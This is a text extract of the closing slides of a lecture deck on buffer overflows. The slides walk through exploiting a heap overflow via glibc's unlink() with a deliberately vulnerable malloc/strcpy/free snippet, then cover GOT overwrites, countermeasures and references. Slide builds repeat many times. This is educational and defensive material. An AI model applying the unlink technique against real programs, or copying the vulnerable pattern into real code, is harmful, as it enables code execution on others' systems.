34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 117 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
unlink() Vulnerability (cont’d)
Vulnerable Code
1 free(buf1) looks atPREV INUSE of chunk #3.
2 unlink() on chunk #2.3 P->fd->bk = P->bk
→ P->fd = 0x34333231→ P->bk = 0x38373635
⇒ Segmentation fault at0x34333231 + 12
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
34 33 32 31
38 37 36 35
32 31 30 39
\0
high
add
ress
es
Matthias Vallentin On the Evolution of Buffer Overflows 118 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting Heap Overflows
Pointer Overwrites
As we can overwrite arbitrary memory, what do we pick?
Naturally we choose a pointer; candidates are:
Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)
Matthias Vallentin On the Evolution of Buffer Overflows 119 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting Heap Overflows
Pointer Overwrites
As we can overwrite arbitrary memory, what do we pick?
Naturally we choose a pointer; candidates are:
Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)
Matthias Vallentin On the Evolution of Buffer Overflows 120 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting Heap Overflows
Pointer Overwrites
As we can overwrite arbitrary memory, what do we pick?
Naturally we choose a pointer; candidates are:
Return instruction pointer (RIP) on the stack
Function pointer in the Global Offset Table (GOT)
Matthias Vallentin On the Evolution of Buffer Overflows 121 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting Heap Overflows
Pointer Overwrites
As we can overwrite arbitrary memory, what do we pick?
Naturally we choose a pointer; candidates are:
Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)
Matthias Vallentin On the Evolution of Buffer Overflows 122 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting Heap Overflows
Pointer Overwrites
As we can overwrite arbitrary memory, what do we pick?
Naturally we choose a pointer; candidates are:
Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)
Digression: ELF position independent code (PIC)
”The linker creates a global offset table (GOT) containingpointers to all of the global data that the executable fileaddresses.” [Lev99]
redirects position independent references to a absolutelocations.
Matthias Vallentin On the Evolution of Buffer Overflows 123 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Exploiting Heap Overflows
Pointer Overwrites
As we can overwrite arbitrary memory, what do we pick?
Naturally we choose a pointer; candidates are:
Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)
Stable Exploits
GOT entries have fixed addresses in one and the same binary.⇒ Potentiates solid and robust exploits!
Matthias Vallentin On the Evolution of Buffer Overflows 124 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(256);char *buf3 = malloc(0);...strcpy(buf2, argv[1]);...free(buf1);free(buf2);...
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
size
fd
bk
buf1
buf2
buf3
fd
bk
prev_size
high
add
ress
es
data
PREV_INUSE
Matthias Vallentin On the Evolution of Buffer Overflows 125 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(256);char *buf3 = malloc(0);...strcpy(buf2, argv[1]);...free(buf1);free(buf2);...
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 126 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD
→ overwrites 4 bytes of theshellcode
→ shellcode has to jumpover its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 127 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 8
3 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD
→ overwrites 4 bytes of theshellcode
→ shellcode has to jumpover its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 128 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD
→ overwrites 4 bytes of theshellcode
→ shellcode has to jumpover its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 129 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD
→ overwrites 4 bytes of theshellcode
→ shellcode has to jumpover its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 130 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD
→ overwrites 4 bytes of theshellcode
→ shellcode has to jumpover its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 131 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD→ overwrites 4 bytes of the
shellcode
→ shellcode has to jumpover its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 132 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD→ overwrites 4 bytes of the
shellcode→ shellcode has to jump
over its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 133 / 146
IntroductionBuffer Overflows
Conclusion
1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
Practical Exploitation
Vulnerable Code
1 FD = &free() - 12
2 BK = buf2 + 83 FD->bk = BK
→ &free() is now&shellcode
4 BK->fd = FD→ overwrites 4 bytes of the
shellcode→ shellcode has to jump
over its modification
sh-2.05$
prev_size
size
fd
PREV_INUSE
bk
prev_size
size PREV_INUSE
fd
bk
buf1
buf2
buf3
&free() - 12
buf2 + 8
42 42 42 42
\0
high
add
ress
es
shellcode
ff ff ff
Matthias Vallentin On the Evolution of Buffer Overflows 134 / 146
IntroductionBuffer Overflows
Conclusion
Outline
1 IntroductionMotivationUnderstanding Function Calls
2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows
3 Conclusion
Matthias Vallentin On the Evolution of Buffer Overflows 135 / 146
IntroductionBuffer Overflows
Conclusion
Countermeasures – Various Approaches [Kle04]
1 Fighting the cause:
Secure programming: educate your programmers!(Automatic) software tests: nessus, ISS
static: grep, flawfinder, splint, RATS
dynamic (tracer): electronic fence, purify, valgrind
Binary audit
fault injection: fuzzersreverse engineering: IDA Pro, SoftICE
2 Fighting the effects:
Wrapper for ”unsafe” library functions: libsafeCompiler extensions: bounds checking, StackGuard (canary),Modifying the process environment: PaX, non-exec stack
Matthias Vallentin On the Evolution of Buffer Overflows 136 / 146
IntroductionBuffer Overflows
Conclusion
Countermeasures – Various Approaches [Kle04]
1 Fighting the cause:
Secure programming: educate your programmers!(Automatic) software tests: nessus, ISS
static: grep, flawfinder, splint, RATS
dynamic (tracer): electronic fence, purify, valgrind
Binary audit
fault injection: fuzzersreverse engineering: IDA Pro, SoftICE
2 Fighting the effects:
Wrapper for ”unsafe” library functions: libsafeCompiler extensions: bounds checking, StackGuard (canary),Modifying the process environment: PaX, non-exec stack
Matthias Vallentin On the Evolution of Buffer Overflows 137 / 146
IntroductionBuffer Overflows
Conclusion
Summary
Buffer Overflows still account for the largest share ofsoftware vulnerabilities.
They evolved through many generations:1 RIP overwrites2 Frame Pointer overwrites3 BSS overflows4 Heap overflows
Combined mitigation techniques should be employed toalleviate the overall risk of exploitation.
Matthias Vallentin On the Evolution of Buffer Overflows 138 / 146
IntroductionBuffer Overflows
Conclusion
Summary
Buffer Overflows still account for the largest share ofsoftware vulnerabilities.
They evolved through many generations:1 RIP overwrites2 Frame Pointer overwrites3 BSS overflows4 Heap overflows
Combined mitigation techniques should be employed toalleviate the overall risk of exploitation.
Matthias Vallentin On the Evolution of Buffer Overflows 139 / 146
IntroductionBuffer Overflows
Conclusion
Summary
Buffer Overflows still account for the largest share ofsoftware vulnerabilities.
They evolved through many generations:1 RIP overwrites2 Frame Pointer overwrites3 BSS overflows4 Heap overflows
Combined mitigation techniques should be employed toalleviate the overall risk of exploitation.
Matthias Vallentin On the Evolution of Buffer Overflows 140 / 146
IntroductionBuffer Overflows
Conclusion
Beyond Buffer Overflows
Buffer overflows are just the beginning.
Today’s malware employs sophisticated techniques:
Binary packingSelf-modifying / self-checking code (SM-SC)Anti debugging tricksCode obfuscation
Not only used by malware (wink wink, Skype).
Matthias Vallentin On the Evolution of Buffer Overflows 141 / 146
IntroductionBuffer Overflows
Conclusion
Beyond Buffer Overflows
Buffer overflows are just the beginning.
Today’s malware employs sophisticated techniques:
Binary packingSelf-modifying / self-checking code (SM-SC)Anti debugging tricksCode obfuscation
Not only used by malware (wink wink, Skype).
Matthias Vallentin On the Evolution of Buffer Overflows 142 / 146
IntroductionBuffer Overflows
Conclusion
Beyond Buffer Overflows
Buffer overflows are just the beginning.
Today’s malware employs sophisticated techniques:
Binary packingSelf-modifying / self-checking code (SM-SC)Anti debugging tricksCode obfuscation
Not only used by malware (wink wink, Skype).
Matthias Vallentin On the Evolution of Buffer Overflows 143 / 146
IntroductionBuffer Overflows
Conclusion
FIN
Matthias Vallentin On the Evolution of Buffer Overflows 144 / 146
IntroductionBuffer Overflows
Conclusion
References I
Peter Szor.The Art of Computer Virus Research and Defense.Addison-Wesley, 2005.
Tobias Klein.Buffer Overflows und Format-String-Schwachstellen.dpunkt.verlag, 2004.
John R. Levine.Linkers & Loaders.Morgan Kaufmann Publishers Inc., 1999.
Aleph One.Smashing The Stack For Fun And Profit.Phrack Magazine #49-14, 1996.
Matthias Vallentin On the Evolution of Buffer Overflows 145 / 146
IntroductionBuffer Overflows
Conclusion
References II
klog.The Frame Pointer Overwrite.Phrack Magazine #55-8, 1999.
Matt Conover.w00w00 on Heap Overflows.http://www.w00w00.org/articles.html, 1999.
Paul R. Wilson and Mark S. Johnstone and Michael Neely andDavid Boles.Dynamic Storage Allocation: A Survey and Critical Review.International Workshop on Memory Management, 1995.
Matthias Vallentin On the Evolution of Buffer Overflows 146 / 146